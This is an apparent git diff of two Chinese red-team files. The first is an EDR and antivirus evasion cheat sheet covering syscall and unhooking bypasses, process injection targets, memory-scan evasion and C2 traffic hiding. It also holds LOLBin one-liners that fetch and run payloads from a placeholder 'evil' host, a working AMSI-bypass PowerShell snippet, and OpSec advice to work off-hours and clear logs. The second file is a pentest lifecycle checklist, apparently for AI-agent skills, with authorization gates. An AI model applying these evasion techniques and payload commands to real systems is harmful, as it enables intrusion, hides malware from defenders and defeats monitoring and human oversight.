|
||||
|
||||
> 来源:多个红队实战经验总结(2024-2026)
|
||||
> 适用场景:需要在有 EDR/AV 防护的环境中执行操作时参考
|
||||
|
||||
---
|
||||
|
||||
## 检测层与对应绕过
|
||||
|
||||
| 检测层 | EDR 做什么 | 绕过思路 |
|
||||
|--------|-----------|---------|
|
||||
| 静态签名 | 匹配已知恶意文件 hash/特征 | 自定义编译、加密 payload、修改特征 |
|
||||
| 用户态 Hook | Hook ntdll.dll 监控 API 调用 | 直接系统调用 / Unhooking / 自带 ntdll |
|
||||
| 内核回调 | 注册进程/线程/镜像加载回调 | 回调移除(需要驱动)/ 合法进程注入 |
|
||||
| ETW | 通过 ETW 收集事件 | Patch EtwEventWrite / 禁用 provider |
|
||||
| 行为分析 | 分析调用序列和行为模式 | 延迟执行 / 分散操作 / 模拟正常行为 |
|
||||
| 内存扫描 | 定期扫描进程内存 | 堆加密 / Sleep 时加密 payload / 模块踩踏 |
|
||||
| 网络检测 | 分析出站流量特征 | 域前置 / 合法服务隧道 / 加密 |
|
||||
|
||||
---
|
||||
|
||||
## 实用绕过技术
|
||||
|
||||
### 1. 直接系统调用(绕过用户态 Hook)
|
||||
|
||||
```
|
||||
原理:不通过 ntdll.dll,直接用 syscall 指令调用内核
|
||||
工具:SysWhispers3 / HellsGate / TartarusGate
|
||||
效果:绕过所有用户态 Hook
|
||||
```
|
||||
|
||||
### 2. Unhooking(恢复原始 ntdll)
|
||||
|
||||
```
|
||||
方法 A:从磁盘重新映射 ntdll.dll
|
||||
方法 B:从 KnownDlls 目录加载干净副本
|
||||
方法 C:从挂起的进程中复制 .text 段
|
||||
效果:恢复被 Hook 的 API 到原始状态
|
||||
```
|
||||
|
||||
### 3. 进程注入(选择低监控目标)
|
||||
|
||||
```
|
||||
推荐注入目标(低监控):
|
||||
- RuntimeBroker.exe
|
||||
- sihost.exe
|
||||
- taskhostw.exe
|
||||
- explorer.exe(风险稍高)
|
||||
|
||||
避免注入:
|
||||
- lsass.exe(高度监控)
|
||||
- svchost.exe(部分 EDR 重点关注)
|
||||
- powershell.exe / cmd.exe
|
||||
```
|
||||
|
||||
### 4. 模块踩踏(Module Stomping)
|
||||
|
||||
```
|
||||
原理:将 payload 写入已加载的合法 DLL 的 .text 段
|
||||
效果:内存扫描时看到的是合法模块,不是可疑的 RWX 内存
|
||||
```
|
||||
|
||||
### 5. Sleep 加密(Ekko/Zilean)
|
||||
|
||||
```
|
||||
原理:beacon sleep 期间加密自身内存
|
||||
效果:内存扫描时找不到 payload 特征
|
||||
实现:注册 Timer 回调,sleep 前加密,唤醒后解密
|
||||
```
|
||||
|
||||
### 6. 调用栈欺骗(Call Stack Spoofing)
|
||||
|
||||
```
|
||||
原理:伪造调用栈,使 API 调用看起来来自合法代码
|
||||
效果:绕过基于调用栈的行为检测
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C2 流量隐蔽
|
||||
|
||||
| 技术 | 原理 | 检测难度 |
|
||||
|------|------|---------|
|
||||
| 域前置 | HTTPS 请求的 SNI 和 Host 头不同 | 高 |
|
||||
| Cloudflare Workers | 通过 CF 中转,看起来是正常 HTTPS | 高 |
|
||||
| Azure/AWS 合法服务 | 利用云服务 API 做 C2 通道 | 极高 |
|
||||
| DNS over HTTPS | C2 数据编码在 DNS 查询中 | 中 |
|
||||
| WebSocket | 长连接,混入正常 Web 流量 | 中 |
|
||||
| ICMP 隧道 | 数据藏在 ICMP 包中 | 低(容易被发现) |
|
||||
|
||||
---
|
||||
|
||||
## LOLBins(Living Off the Land)
|
||||
|
||||
利用系统自带的合法程序执行恶意操作:
|
||||
|
||||
| 程序 | 用途 | 命令示例 |
|
||||
|------|------|---------|
|
||||
| certutil | 下载文件 | `certutil -urlcache -split -f http://evil/payload.exe` |
|
||||
| mshta | 执行 HTA | `mshta http://evil/payload.hta` |
|
||||
| rundll32 | 加载 DLL | `rundll32 evil.dll,EntryPoint` |
|
||||
| regsvr32 | 加载 SCT | `regsvr32 /s /n /u /i:http://evil/file.sct scrobj.dll` |
|
||||
| wmic | 远程执行 | `wmic /node:target process call create "cmd"` |
|
||||
| msiexec | 安装 MSI | `msiexec /q /i http://evil/payload.msi` |
|
||||
| bitsadmin | 下载文件 | `bitsadmin /transfer job http://evil/payload.exe C:\payload.exe` |
|
||||
| forfiles | 执行命令 | `forfiles /p c:\windows /m notepad.exe /c "cmd /c calc.exe"` |
|
||||
|
||||
---
|
||||
|
||||
## AMSI 绕过(PowerShell)
|
||||
|
||||
```powershell
|
||||
# 经典 Patch(可能被签名检测)
|
||||
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
|
||||
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
|
||||
$b.SetValue($null,$true)
|
||||
|
||||
# 更隐蔽的方式:反射修改 AmsiScanBuffer
|
||||
# 或使用 PowerShell 降级到 v2(无 AMSI)
|
||||
powershell -version 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 操作安全(OpSec)原则
|
||||
|
||||
1. **最小动作原则** — 能不碰的不碰,能用已有凭据的不新建
|
||||
2. **时间窗口** — 在目标非工作时间操作(减少人工审查概率)
|
||||
3. **流量混入** — C2 通信频率和大小模拟正常业务流量
|
||||
4. **工具不落盘** — 内存执行,用完即清
|
||||
5. **日志意识** — 知道哪些操作会产生什么日志,提前规避或事后清理
|
||||
6. **蜜罐识别** — 操作前先识别蜜罐(异常开放的服务、过于诱人的凭据)
|
||||
7. **分段操作** — 不要一次性完成所有步骤,分散在多个时间段
|
||||
@@ -0,0 +1,37 @@
|
||||
# 渗透/攻击链生命周期检查单
|
||||
|
||||
> 对照社区 pentest skill 包(如 Orizon claude-code-pentest 六阶段)与本包 `attack-chain` + `ops` 整合。
|
||||
> 来源启发:公开 Claude pentest lifecycle skills(2026-07 检索);**命令与授权以本包 scope 为准**。
|
||||
> 日期:2026-07-17
|
||||
|
||||
## 使用前
|
||||
|
||||
- [ ] `case-init` 完成,`auth.status=granted`
|
||||
- [ ] `network_profile` ≠ 误用 unrestricted 打生产
|
||||
- [ ] `lead` 已指定 specialist_roles(`ops/role-map.md`)
|
||||
|
||||
## 阶段门闩
|
||||
|
||||
| 阶段 | 角色 | 本包 skill | 完成标准 |
|
||||
|------|------|------------|----------|
|
||||
| 0 Scope | lead | ops/scope-contract | ready_for_act |
|
||||
| 1 Recon | cie | pentest-tools | assets 列表 + timeline |
|
||||
| 2 Enum/Vuln | cpe | pentest-tools / api-security | 候选 F-* 草稿 |
|
||||
| 3 Validate | cpe | pentest-tools | E-* + validated Finding |
|
||||
| 4 Post-ex(若授权) | cpe/lead | attack-chain 后半 | 不超 out_of_scope |
|
||||
| 5 RE 辅助 | cre | ida/apk/js/… | 仅当需要客户端/二进制 |
|
||||
| 6 Report | doc | docs-generator | Evidence→Finding→Path |
|
||||
| 7 Journal | lead | field-journal | 脱敏 |
|
||||
|
||||
## 与「给一个域名全自动打穿」类 skill 的差异(特色)
|
||||
|
||||
| 外部自动化包常见 | reverse-skill |
|
||||
|------------------|---------------|
|
||||
| 默认对域名狂扫 | 必须 scope 资产列表 |
|
||||
| 弱证据直接写报告 | 强制 E/F/P 链 |
|
||||
| 单会话无角色 | role-map 交接 |
|
||||
| 无工具索引 | tool-index + bootstrap |
|
||||
|
||||
## 每阶段 timeline 最少一条
|
||||
|
||||
格式见 `ops/timeline-workitem.md`。
|
||||
Reference in New Issue
Block a user